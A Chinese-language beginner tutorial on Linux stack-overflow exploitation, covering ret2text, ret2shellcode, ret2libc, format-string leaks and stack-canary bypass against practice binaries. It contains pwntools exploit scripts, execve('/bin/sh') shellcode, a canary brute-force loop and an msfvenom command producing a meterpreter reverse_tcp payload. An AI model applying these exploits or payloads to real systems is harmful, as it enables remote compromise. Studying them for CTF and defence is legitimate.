Linux Pwn棧溢出入門掙扎自閉


0x01 環境搭建

 

some pwn tools:

 

 

 

 

ida遠程調試環境搭建。

鏡像:

 

ubuntu18起的一個docker  開啟遠程調試端口映射:

docker run --cap-add=SYS_PTRACE --security-opt seccomp:unconfined -it -p 23946:23946 ubuntu/17.04.amd64 /bin/bash

 

 

 

ida debug remote:

 

 

 

 

 

 

 

安裝Capstone(反編譯框架)

~$ git clone https://github.com/aquynh/capstone ~$ cd capstone ~$ make ~$ sudo make install

安裝Binutils(二進制工具集)

git clone https://github.com/Gallopsled/pwntools-binutils
sudo apt-get install software-properties-common sudo apt-add-repository ppa:pwntools/binutils sudo apt-get update sudo apt-get install binutils-arm-linux-gnu

第三方庫

在逆向和溢出程序交互時,用得最多的幾個第三方庫先裝好:

sudo pip install pwntools sudo pip install zio sudo pip install pwn


安裝gdb工具

在調試時有時候需要不同功能,在gdb下需要安裝兩個工具pwndbg和peda,可惜這兩個不兼容

pwndbg在調試堆的數據結構時候很方便

peda在查找字符串等功能時方便

peda

git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE! debug your program with gdb and enjoy"

pwndbg

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

pwngdb

cd ~/
git clone https://github.com/scwuaptx/Pwngdb.git cp ~/Pwngdb/.gdbinit ~/

gef

#via the install script $ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #manually $ wget -O ~/.gdbinit-gef.py -q https://github.com/hugsy/gef/raw/master/gef.py $ echo source ~/.gdbinit-gef.py >> ~/.gdbinit

ROPgadget

https://github.com/JonathanSalwan/ROPgadget

one_gadget

apt-get install ruby apt-get install gem sudo gem install one_gadget

LibcSearcher

git clone https://github.com/lieanu/libc.git cd libc git submodule update --init --recursive sudo python setup.py develop


 

 

0x02 ret2text棧溢出漏洞

關於函數調用棧幀基礎:

 

 

 

 

 

 

 

 

棧溢出:

 

checksec:

 

 

 

  main函數:

 

 

 

 

 

 

發現secure函數:

 

 

 

 

gets函數   在gdb下斷 

.text:080486AE                 call    _gets
.text:080486B3                 mov     dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA                 call    _printf
.text:080486BF                 mov     eax, 0

 

 

 

 

gdb調試(gef):

 

 

 

 計算v4也就是輸入buf離ebp的偏移:

EBP: 0xffffcf98 --> 0x0 
ESP: 0xffffcf10 --> 0xffffcf2c --> 0xf7ffd000 --> 0x26f34 


&v4  = 0xffffcf10 + 1ch =   0xffffcf2c

offset  = 0xffffcf2c - 0xffffcf98 =   108 + ebp = 112 

 

112字節 也就是覆蓋內容長度0x6c+4字節的ebp    就到了返回地址  這里返回地址寫入system函數地址即可

 

關於計算偏移  可用:

https://github.com/desword/shellcode_tools

 

 

exp:

##!/usr/bin/env python

from pwn import *

a = process('./ret2text')
test = 0x08048641 
a.sendline('A'*(0x6c+4)+p32(test))
a.interactive()

 

 

 

getshell:

 

 

 

 

0x03 ret2shellcode棧溢出漏洞

 

原理:

 

 

example:

 

 

get漏洞函數 strncpy將v4復制到buf2

 

下斷調試

 

 

 

查看buf2所在地址  .bss段

.bss:0804A080                 public buf2

 

 

 

 

gef查看段屬性  .bss為RWX:

 

 

EXP:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
sh.interactive()

 

 

getshell:

 

 

 

 

example2:

 

 mmap函數賦v4申請內存  read讀入0x20給v4   十進制32個字符串

輸入的字符串會被當指令

 

 

 

 

 

 

 

shellcode:

http://shell-storm.org/shellcode/files/shellcode-841.php

unsigned char shellcode[] = \

"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd"
"\x80";

 

exp:

#!/usr/bin/env python


from pwn import *

sh = process('./ret2shellcode')
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

print sh.recv()

sh.sendline(shellcode)
sh.interactive()

 

系統中斷:

在32位的linux系統中,該中斷被用於呼叫系統調用程序system_call()

32位linux系統的內核一共提供了0~337號共計338種系統調用用以實現不同的功能。

http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

http://syscalls.kernelgrok.com/

 

關於系統中斷 匯編shellcode:

global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push "//sh" push "/bin" mov ebx,esp xor eax,eax mov al,0Bh int 80ha

 

 

 

msfvenom生成shellcode

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp 
LHOST=IP地址  LPORT=端口  -e x86/shikata_ga_nai -b '\x00' -i 迭代次數  -f  c

-b參數即可去掉類似/x00截斷字符

如base64編碼

python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -p - -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX -o payload
exp:
#!/usr/bin/python
#coding:utf-8

from pwn import *
from base64 import *

context.update(arch = 'i386', os = 'linux', timeout = 1)    
io = remote('172.17.0.2', 10001)    
shellcode = b64decode("PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIp1kyigHaX06krqPh6ODoaccXU8ToE2bIbNLIXcHMOpAA")

print io.recv()
io.send(shellcode)  
print io.recv()     
io.interactive()

 

 

 

getshell:

 

 

 

 

 

 

0x04 ret2libc棧溢出漏洞

關於動態鏈接 got/plt表這一塊 看着還是有點費勁哦~

 

動態鏈接:

動態鏈接 是指在程序裝載時通過 動態鏈接器 將程序所需的所有 動態鏈接庫(Dynamic linking library) 裝載至進程空間中( 程序按照模塊拆分成各個相對獨立的部分),

當程序運行時才將他們鏈接在一起形成一個完整程序的過程。

 

GOT/PLT

GOT

  GOT(Global Offset Table)全局偏移表用於記錄在 ELF 文件中所用到的共享庫中符號的絕對(真實)地址。在程序剛開始運行時,GOT 表項是空的,當符號第一次被調用時會動態解析符號的絕對地址然后轉去執行,並將被解析符號的絕對地址記錄在 GOT 中,第二次調用同一符號時,由於 GOT 中已經記錄了其絕對地址,直接轉去執行即可(不用重新解析)。

PLT

  PLT(Procedure Linkage Table)過程鏈接表的作用是將位置無關的符號轉移到絕對地址。當一個外部符號被調用時,PLT 去引用 GOT 中的其符號對應的絕對地址,然后轉入並執行。

 

 

 

ret2libc:

 

 

 

 

 這里自己編譯錯了 應該gcc成32位 不開stack保護和PIE即可。

example:

 

 

 

 

 

 

查看system的plt地址

 

 

 

 

查看/bin/sh位置

 

 

 

 

 

 

下斷 溢出輸入

 

 

 

 

 

 

 

 

ida && ROPgatget也可以。

 

 

 

exp:

from pwn import *
p = process('./ret2libc1')
context.log_level = 'debug'
system_addr = 0x08048460
binsh_addr = 0x8049720
p.recvuntil('RET2LIBC >_<\n')
p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()

 

 

 

 

 

 

getshell:

 

 

 

 

 

 

0x05 格式化字符串漏洞

printf函數參數入棧順序

編譯 gcc -m32 -fno-stack-protector -no-pie -o test fm.c

 

 

 

 

 

 Vul:

 

 

 

利用格式化字符串漏洞:

  • 泄露棧內存
    • 獲取某個變量的值 (%s)
    • 獲取某個變量對應地址的內存 (%p)
  • 泄露任意地址內存
    • 利用 GOT 表得到 libc 函數地址,進而獲取 libc,進而獲取其它 libc 函數地址 (addr%n$s)
    • 盲打,dump 整個程序,獲取有用信息。

 

輸入

AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x

 

 

可以看到aaaa后的%08x向棧中讀取8字符的十六進制參數了

 

 

讀到aaaa:

 

 

 

 

 

 

內存寫入地址  使用printf  反引號命令執行

 

 

 

 

關於檢測:

 

 

 

 

 

 

0x06 canary棧溢出bypass

 

 

內存泄漏和爆破 

example1:

 

 

 

 

 

 

 

 

可以看到有格式化字符串漏洞和棧溢出漏洞

 

第一個格式化漏洞拿來讀cannary  第二個read用來棧溢出 帶上正確canary值

 

gdb調試可以看到cannary的偏移  v6為ebp - 0xCh  所以這里cannary偏移為7

 

 

 

 

 

exp:

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')
local = 1
elf = ELF('./bin')
#標志位,0和1
if local:
    p = process('./bin')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')

payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
print canary 
getflag = 0x0804863B
payload = 'a'*100 + p32(canary) + 'a'*12 + p32(getflag)
p.send(payload)
p.interactive()

 

 

 

getshell:

 

 

 

爆破cannary

 

用了fork線程  canary不變  可以爆破

 

最后一位為\x00  32位的canary為4長度 只需要爆前面3位

 

 

 

 exp:

 

#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='i386', os='linux')#arch也可以是i386~看文件
local = 1
elf = ELF('./bin1')
#標志位,0和1
if local:
    p = process('./bin1')
    libc = elf.libc

else:
    p = remote('',)
    libc = ELF('./')
p.recvuntil('welcome\n')
canary = '\x00'
for i in range(3):
    for i in range(256):
        p.send('a'*100 + canary + chr(i))
        a = p.recvuntil("welcome\n")
        if "recv" in a:
            canary += chr(i)
            break
getflag = 0x0804863B
payload = 'a'*100 + canary + 'a'*12 + p32(getflag)
p.sendline(payload)
p.interactive()

 

 

 

getshell:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM